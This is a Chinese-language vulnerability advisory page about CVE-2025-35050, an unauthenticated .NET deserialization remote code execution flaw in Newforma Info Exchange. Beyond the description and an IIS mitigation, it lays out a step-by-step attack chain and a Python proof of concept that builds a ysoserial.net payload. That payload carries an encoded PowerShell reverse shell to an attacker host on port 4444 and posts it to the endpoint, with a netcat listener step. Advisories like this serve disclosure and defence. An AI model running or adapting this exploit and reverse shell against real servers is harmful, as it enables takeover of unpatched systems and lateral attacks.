IPBUF安全漏洞报告
English
CVE-2025-35050 CVSS 9.8 严重

CVE-2025-35050 Newforma Info Exchange 远程代码执行漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35050
漏洞类型
不安全反序列化(不安全.NET反序列化导致的远程代码执行)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

CVE-2025-35050远程代码执行RCE不安全反序列化.NET反序列化NewformaInfo ExchangeNIXProject Center ServerNPCS

漏洞概述

CVE-2025-35050是Newforma Info Exchange(NIX)产品中的一个严重安全漏洞,CVSS评分为9.8,属于严重级别。该漏洞存在于NIX的'/remoteweb/remote.rem'端点中,该端点接受未经身份验证的序列化.NET数据,远程攻击者无需任何认证即可通过发送特制的序列化数据来执行任意代码。

成功利用该漏洞后,攻击者将以'NT AUTHORITY\NetworkService'权限执行任意命令,这意味着攻击者将获得对目标系统的完全控制权。由于该漏洞利用复杂度低(AC:L),无需任何特权(PR:N)和用户交互(UI:N),且可通过网络远程利用(AV:N),因此该漏洞极易被大规模利用。

特别值得关注的是,受漏洞影响的端点同时被Newforma Project Center Server(NPCS)所使用,这意味着攻击者不仅可以直接攻击NIX系统,还可以通过已被攻陷的NIX系统进一步攻击与之关联的NPCS系统,扩大攻击范围和影响。该漏洞的机密性、完整性和可用性影响均为高(C:H/I:H/A:H),表明一旦被利用,将对受害组织造成严重的安全风险。

该漏洞由CISA(美国网络安全和基础设施安全局)收录并发布,建议相关用户立即采取缓解措施,限制对'/remoteweb/remote.rem'端点的网络访问。

技术细节

Newforma Info Exchange(NIX)的'/remoteweb/remote.rem'端点使用了.NET Remoting技术,该技术原生支持通过序列化对象进行远程方法调用。然而,该端点在处理传入的序列化数据时,未对数据进行充分的验证和过滤,接受了来自任意来源的序列化.NET数据。

攻击原理:
1. .NET BinaryFormatter或SoapFormatter等格式化器在反序列化过程中会调用传入对象的方法。如果攻击者能够控制反序列化的类型,就可以构造恶意的gadget chain(利用链),在反序列化过程中触发任意代码执行。
2. 攻击者构造包含恶意负载的序列化数据,通过HTTP POST请求发送到'/remoteweb/remote.rem'端点。
3. 服务器端在接收到请求后,使用不安全的反序列化方式处理数据,触发恶意代码执行。
4. 由于该端点无需认证(PR:N),攻击者无需提供任何凭据即可发送恶意请求。
5. 恶意代码以'NT AUTHORITY\NetworkService'账户权限运行,该账户是Windows服务常用的内置账户,具有较高的系统权限。

利用条件:
- 目标系统对外开放'/remoteweb/remote.rem'端点(通常为IIS上的Web应用)
- 攻击者能够通过网络访问该端点
- 无需任何认证或用户交互

利用工具:攻击者可使用ysoserial.net等成熟工具快速生成反序列化payload,结合公开的gadget chain(如WindowsIdentity、ClaimsPrincipal等)实现代码执行。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过Shodan、Censys等网络空间搜索引擎或端口扫描工具,识别暴露在公网上的Newforma Info Exchange(NIX)服务器。目标特征为开放IIS服务并存在'/remoteweb/remote.rem'路径。
STEP 2
步骤2:构造恶意序列化Payload
攻击者使用ysoserial.net等工具,选择合适的gadget chain(如WindowsIdentity、ClaimsPrincipal等),生成包含恶意命令的.NET序列化数据。该payload在反序列化时将触发任意代码执行。
STEP 3
步骤3:发送恶意请求
攻击者通过HTTP POST请求将恶意序列化数据发送到目标服务器的'/remoteweb/remote.rem'端点。由于该端点无需认证,服务器直接处理传入的序列化数据。
STEP 4
步骤4:触发反序列化与代码执行
服务器端使用BinaryFormatter或SoapFormatter对传入数据进行反序列化,在反序列化过程中触发gadget chain,执行攻击者预设的恶意代码(如反弹shell、下载并执行木马等)。
STEP 5
步骤5:获取系统控制权
恶意代码以'NT AUTHORITY\NetworkService'权限执行,攻击者获得对NIX服务器的控制权,可进行数据窃取、横向移动、持久化等后续攻击活动。
STEP 6
步骤6:横向攻击NPCS系统
由于'/remoteweb/remote.rem'端点同时被Newforma Project Center Server(NPCS)使用,攻击者可利用已被攻陷的NIX系统作为跳板,进一步攻击关联的NPCS系统,扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-35050 PoC - Newforma Info Exchange .NET Deserialization RCE # Vulnerability: Unauthenticated .NET deserialization at /remoteweb/remote.rem # CVSS: 9.8 CRITICAL # # Prerequisites: # - ysoserial.net (https://github.com/pwntester/ysoserial.net) # - Target URL accessible (e.g., http://target/remoteweb/remote.rem) # # Step 1: Generate malicious serialized payload using ysoserial.net # The following command generates a payload that executes a command via WindowsIdentity gadget chain # # ysoserial.net.exe -g WindowsIdentity -f BinaryFormatter -c "powershell -enc <base64_encoded_cmd>" -o raw > payload.bin # # Alternative using SoapFormatter (since .NET Remoting typically uses SOAP/binary): # ysoserial.net.exe -g WindowsIdentity -f SoapFormatter -c "calc.exe" -o raw > payload.bin # # Step 2: Send the payload to the vulnerable endpoint import requests import subprocess import sys import base64 TARGET_URL = "http://target-host/remoteweb/remote.rem" LISTENER_HOST = "attacker-ip" LISTENER_PORT = 4444 def generate_payload(command): """Generate .NET deserialization payload using ysoserial.net""" # Use WindowsIdentity gadget chain with BinaryFormatter cmd = [ "ysoserial.net.exe", "-g", "WindowsIdentity", "-f", "BinaryFormatter", "-c", command, "-o", "raw" ] result = subprocess.run(cmd, capture_output=True) return result.stdout def exploit(target_url, command): """Send malicious serialized payload to vulnerable endpoint""" payload = generate_payload(command) headers = { "Content-Type": "application/octet-stream", "User-Agent": "Mozilla/5.0" } # .NET Remoting typically expects specific content type response = requests.post( target_url, data=payload, headers=headers, timeout=30 ) print(f"[+] Target: {target_url}") print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") return response if __name__ == "__main__": # Reverse shell command (example using PowerShell) ps_cmd = f"$client = New-Object System.Net.Sockets.TCPClient('{LISTENER_HOST}',{LISTENER_PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}" b64_cmd = base64.b64encode(ps_cmd.encode('utf-16-le')).decode() full_command = f"powershell -nop -w hidden -enc {b64_cmd}" exploit(TARGET_URL, full_command) # Step 3: On attacker machine, start a listener # nc -lvnp 4444 # # Mitigation: Restrict network access to /remoteweb/remote.rem endpoint # using IIS URL Rewrite Module to block unauthorized access.

影响范围

Newforma Info Exchange (NIX) 所有未打补丁的版本
Newforma Project Center Server (NPCS) 所有未打补丁的版本

防御指南

临时缓解措施
作为临时缓解措施,建议使用IIS URL Rewrite Module配置URL重写规则,限制对'/remoteweb/remote.rem'端点的网络访问。具体方法:1)在IIS管理器中安装URL Rewrite Module;2)为相关网站创建重写规则,拒绝所有对'/remoteweb/remote.rem'路径的外部访问请求,或仅允许来自可信IP地址的访问;3)同时建议在防火墙层面限制对该端口和路径的访问,将NIX服务器部署在内部网络中,避免直接暴露在公网上。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表